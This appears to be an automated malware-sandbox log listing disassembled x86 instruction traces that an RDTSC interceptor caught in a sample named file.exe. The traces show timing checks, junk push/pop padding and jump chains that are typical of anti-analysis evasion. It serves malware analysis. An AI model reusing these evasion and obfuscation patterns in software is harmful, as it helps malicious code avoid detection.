Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 124F176 second address: 124F18A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F020CB267EEh 0x0000000c pushad 0x0000000d popad 0x0000000e jbe 00007F020CB267E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 124F18A second address: 124F1B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F020CB28458h 0x00000008 jng 00007F020CB28446h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 124F1B6 second address: 124F1BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 124F1BA second address: 124F1D6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F020CB2844Eh 0x0000000d jl 00007F020CB28446h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 124F1D6 second address: 124F1DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 124F1DA second address: 124F1E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 124DF45 second address: 124DF4F instructions: 0x00000000 rdtsc 0x00000002 je 00007F020CB267ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 124E39E second address: 124E3B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F020CB2844Dh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 124E3B4 second address: 124E3D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F020CB267EDh 0x0000000e jg 00007F020CB267E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 124E3D0 second address: 124E3D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 124E540 second address: 124E548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 124E7EC second address: 124E7FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F020CB2844Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 124E7FF second address: 124E827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jnc 00007F020CB267E6h 0x0000000c jmp 00007F020CB267F7h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 124E827 second address: 124E82B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 124E82B second address: 124E82F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 124E82F second address: 124E83B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 125317B second address: 125318C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12533E7 second address: 12533EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 125364A second address: 12536C5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F020CB267ECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 pop eax 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007F020CB267E8h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e push dword ptr [ebp+122D2819h] 0x00000034 jc 00007F020CB267EDh 0x0000003a jg 00007F020CB267E7h 0x00000040 call 00007F020CB267E9h 0x00000045 push ecx 0x00000046 push ecx 0x00000047 jmp 00007F020CB267F0h 0x0000004c pop ecx 0x0000004d pop ecx 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F020CB267EFh 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12536C5 second address: 12536D7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12536D7 second address: 12536F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F020CB267E6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [eax] 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F020CB267EEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12550BA second address: 12550E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F020CB2844Fh 0x0000000b jmp 00007F020CB28455h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12550E4 second address: 1255100 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F020CB267F3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1255100 second address: 125510A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F020CB2845Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4840007 second address: 4840027 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dl, CBh 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F020CB267EEh 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4840027 second address: 484002B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 484002B second address: 4840031 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4840031 second address: 4840047 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F020CB28452h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 483007D second address: 4830083 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4830083 second address: 4830089 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4830089 second address: 483008D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 483008D second address: 4830091 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4860EFA second address: 4860F03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 mov bl, 34h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4860F03 second address: 4860F30 instructions: 0x00000000 rdtsc 0x00000002 mov cx, A24Fh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F020CB28452h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F020CB2844Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4800114 second address: 480011A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 480011A second address: 48001EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F020CB2844Eh 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F020CB28450h 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F020CB2844Eh 0x0000001d xor ch, FFFFFFE8h 0x00000020 jmp 00007F020CB2844Bh 0x00000025 popfd 0x00000026 push ecx 0x00000027 pushfd 0x00000028 jmp 00007F020CB2844Fh 0x0000002d jmp 00007F020CB28453h 0x00000032 popfd 0x00000033 pop ecx 0x00000034 popad 0x00000035 push dword ptr [ebp+04h] 0x00000038 pushad 0x00000039 mov cl, dh 0x0000003b movzx ecx, bx 0x0000003e popad 0x0000003f push dword ptr [ebp+0Ch] 0x00000042 jmp 00007F020CB28459h 0x00000047 push dword ptr [ebp+08h] 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d mov edx, 150079EEh 0x00000052 pushfd 0x00000053 jmp 00007F020CB2844Fh 0x00000058 sbb si, 3A9Eh 0x0000005d jmp 00007F020CB28459h 0x00000062 popfd 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4820E0C second address: 4820E35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 call 00007F020CB267EBh 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F020CB267F2h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48209B8 second address: 48209BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48209BC second address: 48209E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov di, 4982h 0x0000000f call 00007F020CB267F3h 0x00000014 pop ecx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48209E0 second address: 48209E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48209E6 second address: 4820A29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F020CB267F9h 0x00000014 sub esi, 039576B6h 0x0000001a jmp 00007F020CB267F1h 0x0000001f popfd 0x00000020 push ecx 0x00000021 pop ebx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48208B6 second address: 48208DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28451h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F020CB2844Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48208DA second address: 48208EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F020CB267EEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48208EC second address: 4820928 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F020CB28458h 0x00000012 adc ecx, 4D01F938h 0x00000018 jmp 00007F020CB2844Bh 0x0000001d popfd 0x0000001e mov ax, 836Fh 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4820928 second address: 482097D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F020CB267ECh 0x00000012 add ecx, 42F5F2C8h 0x00000018 jmp 00007F020CB267EBh 0x0000001d popfd 0x0000001e mov ecx, 2869403Fh 0x00000023 popad 0x00000024 pop ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F020CB267F1h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4820602 second address: 4820606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4820606 second address: 482060A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 482060A second address: 4820610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4820610 second address: 482063E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F020CB267EBh 0x00000008 mov di, ax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F020CB267F2h 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 482063E second address: 4820642 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4820642 second address: 4820648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4820648 second address: 4820662 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB2844Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4820662 second address: 4820668 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4820668 second address: 482066E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 482066E second address: 4820672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 483035E second address: 483039D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28459h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F020CB28451h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F020CB2844Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 483039D second address: 48303A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48303A3 second address: 48303EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28453h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov bx, cx 0x00000011 popad 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 call 00007F020CB28456h 0x0000001b pop ecx 0x0000001c jmp 00007F020CB2844Bh 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 484038E second address: 4840394 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4840394 second address: 4840398 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4840398 second address: 48403BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F020CB267F6h 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48403BE second address: 48403C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48403C2 second address: 48403DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48403DF second address: 4840400 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28451h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movsx edx, si 0x00000011 movzx ecx, di 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4840400 second address: 484044E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, esi 0x00000005 mov cx, C67Fh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [ebp+08h] 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F020CB267F0h 0x00000016 or eax, 5ABE4268h 0x0000001c jmp 00007F020CB267EBh 0x00000021 popfd 0x00000022 mov ax, 705Fh 0x00000026 popad 0x00000027 and dword ptr [eax], 00000000h 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F020CB267F1h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48207E0 second address: 482080E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28459h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F020CB2844Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 482080E second address: 4820814 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4820814 second address: 4820846 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F020CB28450h 0x00000012 or ax, A228h 0x00000017 jmp 00007F020CB2844Bh 0x0000001c popfd 0x0000001d movzx esi, bx 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4830EE7 second address: 4830F42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b call 00007F020CB267F7h 0x00000010 push eax 0x00000011 pop ebx 0x00000012 pop ecx 0x00000013 mov cx, bx 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F020CB267F9h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4830F42 second address: 4830F57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28451h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4830F57 second address: 4830F5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4830F5D second address: 4830F61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4830F61 second address: 4830FBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov edx, 7405CE58h 0x00000010 pushad 0x00000011 jmp 00007F020CB267F7h 0x00000016 pushfd 0x00000017 jmp 00007F020CB267F8h 0x0000001c or ah, FFFFFFE8h 0x0000001f jmp 00007F020CB267EBh 0x00000024 popfd 0x00000025 popad 0x00000026 popad 0x00000027 pop ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4830FBA second address: 4830FC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48606F3 second address: 4860776 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F020CB267F0h 0x00000008 jmp 00007F020CB267F5h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushfd 0x00000012 jmp 00007F020CB267F7h 0x00000017 sub cl, 0000006Eh 0x0000001a jmp 00007F020CB267F9h 0x0000001f popfd 0x00000020 pop eax 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 jmp 00007F020CB267F7h 0x00000029 xchg eax, ecx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4860776 second address: 486077C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 486077C second address: 48607AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov si, D165h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F020CB267EBh 0x00000012 xchg eax, ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F020CB267F5h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 48607AC second address: 4860868 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 69F2h 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [774365FCh] 0x00000011 jmp 00007F020CB2844Fh 0x00000016 test eax, eax 0x00000018 jmp 00007F020CB28456h 0x0000001d je 00007F027F67B5C8h 0x00000023 pushad 0x00000024 mov bx, ax 0x00000027 pushad 0x00000028 movzx esi, di 0x0000002b mov bx, 3768h 0x0000002f popad 0x00000030 popad 0x00000031 mov ecx, eax 0x00000033 jmp 00007F020CB28457h 0x00000038 xor eax, dword ptr [ebp+08h] 0x0000003b jmp 00007F020CB2844Fh 0x00000040 and ecx, 1Fh 0x00000043 jmp 00007F020CB28456h 0x00000048 ror eax, cl 0x0000004a jmp 00007F020CB28450h 0x0000004f leave 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F020CB28457h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4860868 second address: 486086E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 486086E second address: 48608AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c mov esi, eax 0x0000000e lea eax, dword ptr [ebp-08h] 0x00000011 xor esi, dword ptr [00FA2014h] 0x00000017 push eax 0x00000018 push eax 0x00000019 push eax 0x0000001a lea eax, dword ptr [ebp-10h] 0x0000001d push eax 0x0000001e call 00007F0210428BFFh 0x00000023 push FFFFFFFEh 0x00000025 jmp 00007F020CB28457h 0x0000002a pop eax 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F020CB28455h 0x00000032 rdtsc
